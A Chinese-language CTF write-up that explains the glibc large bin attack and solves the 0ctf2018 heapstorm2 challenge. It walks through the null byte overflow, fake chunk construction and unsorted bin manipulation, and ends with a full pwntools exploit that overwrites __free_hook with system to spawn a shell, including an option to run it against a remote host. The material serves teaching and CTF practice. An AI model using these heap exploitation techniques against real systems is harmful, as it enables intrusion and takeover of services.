large bin attack

对已存在于large bin中的chunk的bk、bk_nextsize字段进行更改,在unsorted bin中取出插入该large bin时,会将bk->fd、bk_nextsize->fd_nextsize的位置覆盖成chunk的地址。涉及的代码就是unsorted bin遍历取出插入那块。和先前的unsorted bin attack类似,通常为进一步攻击做准备,如修改global_max_fast。

这里比较难理解就是large bin的结构,特别是先前我被一个large bin结构图所误导,下面给出我画的结构图(如果有错误o((⊙﹏⊙))o,请帮忙指出)。

glibc large bin

0ctf2018 heapstorm2

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

功能分析

程序首先使用mallopt函数将global_max_fast设置为0,也就是不使用fastbin。

程序在0x13370800~0x13370818读入了0x18字节的随机数字,0x13370818复制了0x13370810处的8字节。0x13370800处的随机数用来异或模糊pointer,0x13370808处的随机数用来异或模糊size。0x13370810和0x13370818两处在view函数中用到。0x13370820后面用来存储结构体数组,结构体如下

image-20200719114215579

1
2
3
4
5
6
===== HEAP STORM II =====
1. Allocate
2. Update
3. Delete
4. View
5. Exit

Allocate:分配size大小的空间,指针与大小在和随机数异或后,存储在数组中。

Update:对分配中得空间中的数据进行更新,大小只能小于等于size-12。这里存在null byte overflow

Delete:释放分配的空间,并清空结构体。

View:当*(unsigned long*)0x13370810 ^ *(unsigned long*)0x13370818 = 0x13377331输出空间内容,而初始时候这个位置内容一样。

总体思路

null byte overflow造成堆块重叠,large bin attack在0x13370800前面构造fake chunk,将fake_chunk链接到unsorted bin上,使用一个正好的大小分配得到此chunk,对随机数和数组进行改写,最后修改__free_hook获得shell。

null byte overflow

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
allocate(0x20)      # 0
allocate(0x400) # 1
allocate(0x28) # 2
allocate(0xf10) # 3
allocate(0x20) # 4

update(3, 0xef8, b"A"*0xef0 + p64(0xf00))
delete(3)
update(2, 0x28-12, b"A"*(0x28-12))
allocate(0x20) # 3
allocate(0x20) # 5
allocate(0x400) # 6
allocate(0x20) # 7
allocate(0x400) # 8
allocate(0x20) # 9

delete(3)
delete(4)
delete(6)
delete(8)

在3的内部构造后续使用的presize,释放3,溢出2覆盖3的size(0xf20->0xf00),然后分配一些块供后续使用。delete(4)后,这一大块合并入topchunk。

large bin attack

null byte overflow后,unsorted bin中有:0x411->0x411->0x621。

1
2
3
4
5
6
7
8
9
10
11
12
allocate(0x500)     # 3
allocate(0x500) # 4

update(4, 0x80, b"A"*0x58 + p64(0x401) + p64(0) + p64(0x13370800-0x20+3) + p64(0) + p64(0x13370800+8-0x20))
delete(1)
allocate(0x20) # 1

update(4, 0x90, b"A"*0x28 + p64(0x31) + b"A"*0x28 + p64(0x31) + b"A"*0x28 + p64(0x31))
delete(5)
update(4, 0x40, b"A"*0x28 + p64(0x31) + p64(0x13370800-0x10)*2)

allocate(0x48) # 5

分配块3,将0x621块割裂,并将两个0x411块放入到large bin中。再分配块4,就将从topchunk中割出,出现重叠。

通过对块4进行update,将large bin中的首块(称之为victim)内容进行了更新,将它的victim->size修改为0x401,victim->bk修改为0x13370800-0x20+3victim->bk_nextsize修改为0x13370800+8-0x20。之后再有更大的chunk(称之为larger)进入large bin时,就将有以下操作

1
2
victim->bk->fd = larger;
victim->bk_nextsize->fd_nextsize = larger;

large bin attack之后:

1
2
3
0x133707e0:	0x0000000000000000	0x0000000000000000
0x133707f0: 0x55fb4c7030000000 0x0000000000000056
0x13370800: 0x3269f037bee796f9 0x00005655fb4c7030

这时候,0x133707f0就能够当做一个chunk的起始地址。需要随机到heap最高有效字节为0x56,因为calloc分配完成后有检查。0x56就能够满足chunk_is_mmapped (mem2chunk (mem))这个条件。

1
2
3
4
mem = _int_malloc (av, sz);

assert (!mem || chunk_is_mmapped (mem2chunk (mem)) ||
av == arena_for_chunk (mem2chunk (mem)));

fake unsorted bin

将unsorted bin中的某一chunk的fd、bk修改为0x133707f0,分配0x48就能将0x56的chunk分配出来。

unsorted bin从尾部往头部依次遍历,将其放入对应的bin或将其分配。从unsorted bin中取出时,有以下操作,所以得保证bk->fd是个可写的位置。

1
2
3
/* remove from unsorted list */
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

后续操作

改写数组,泄露heap_base地址,通过chunk中存储的bk、fd泄露libc_base,将__free_hook改成system地址。

exploit

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
#!/usr/bin/env python3

from pwn import *

context(os="linux", arch="amd64", log_level="debug")
localfile = "./heapstorm2"
locallibc = "../glibc_versions/2.26/x64_notcache/lib/libc-2.26.so"

def allocate(size):
io.recvuntil("Command: ")
io.sendline(str(1))
io.recvuntil("Size: ")
io.sendline(str(size))

def update(idx, size, content):
io.recvuntil("Command: ")
io.sendline(str(2))
io.recvuntil("Index: ")
io.sendline(str(idx))
io.recvuntil("Size: ")
io.sendline(str(size))
io.recvuntil("Content: ")
io.send(content)

def delete(idx):
io.recvuntil("Command: ")
io.sendline(str(3))
io.recvuntil("Index: ")
io.sendline(str(idx))

def view(idx):
io.recvuntil("Command: ")
io.sendline(str(4))
io.recvuntil("Index: ")
io.sendline(str(idx))

def exp():
allocate(0x20) # 0
allocate(0x400) # 1
allocate(0x28) # 2
allocate(0xf10) # 3
allocate(0x20) # 4

update(3, 0xef8, b"A"*0xef0 + p64(0xf00))
delete(3)
update(2, 0x28-12, b"A"*(0x28-12))
allocate(0x20) # 3
allocate(0x20) # 5
allocate(0x400) # 6
allocate(0x20) # 7
allocate(0x400) # 8
allocate(0x20) # 9

delete(3)
delete(4)
delete(6)
delete(8)

allocate(0x500) # 3
allocate(0x500) # 4

update(4, 0x80, b"A"*0x58 + p64(0x401) + p64(0) + p64(0x13370800-0x20+3) + p64(0) + p64(0x13370800+8-0x20))
delete(1)
allocate(0x20) # 1

update(4, 0x90, b"A"*0x28 + p64(0x31) + b"A"*0x28 + p64(0x31) + b"A"*0x28 + p64(0x31))
delete(5)
update(4, 0x40, b"A"*0x28 + p64(0x31) + p64(0x13370800-0x10)*2)

allocate(0x48) # 5
update(5, 0x30, p64(0)*3 + p64(0x13377331) + p64(0x13370830) + p64(0x100))

update(0, 0x10, p64(0x133707f3) + p64(0x8))
view(1)
io.recvuntil("Chunk[1]: ")
heap_base = u64(io.recv(8)) - 0x30

update(0, 0x10, p64(heap_base+0x4a0+0x10) + p64(0x8))
log.debug("heap: 0x%x" % (heap_base+0x4a0+0x10))
view(1)
io.recvuntil("Chunk[1]: ")
libc_base = u64(io.recv(8)) - 0x3ABC80

update(0, 0x10, p64(libc_base+libc.sym["__free_hook"]) + p64(0x20))
update(1, 0x8, p64(libc_base+libc.sym["system"]))
log.debug("system: 0x%x" % (libc_base+libc.sym["system"]))
# gdb.attach(io, "b *$rebase(0x1331)")
update(0, 8, b"/bin/sh\x00")
delete(0)

io.interactive()

argc = len(sys.argv)
if argc == 1:
io = process(localfile)
else:
if argc == 2:
host, port = sys.argv[1].split(":")
elif argc == 3:
host = sys.argv[1]
port = sys.argv[2]
io = remote(host, port)

elf = ELF(localfile)
libc = ELF(locallibc)
exp()

reference

  1. how2heap large_bin_attack.c
  2. https://dangokyo.me/2018/04/07/0ctf-2018-pwn-heapstorm2-write-up/
  3. https://eternalsakura13.com/2018/04/03/heapstorm2/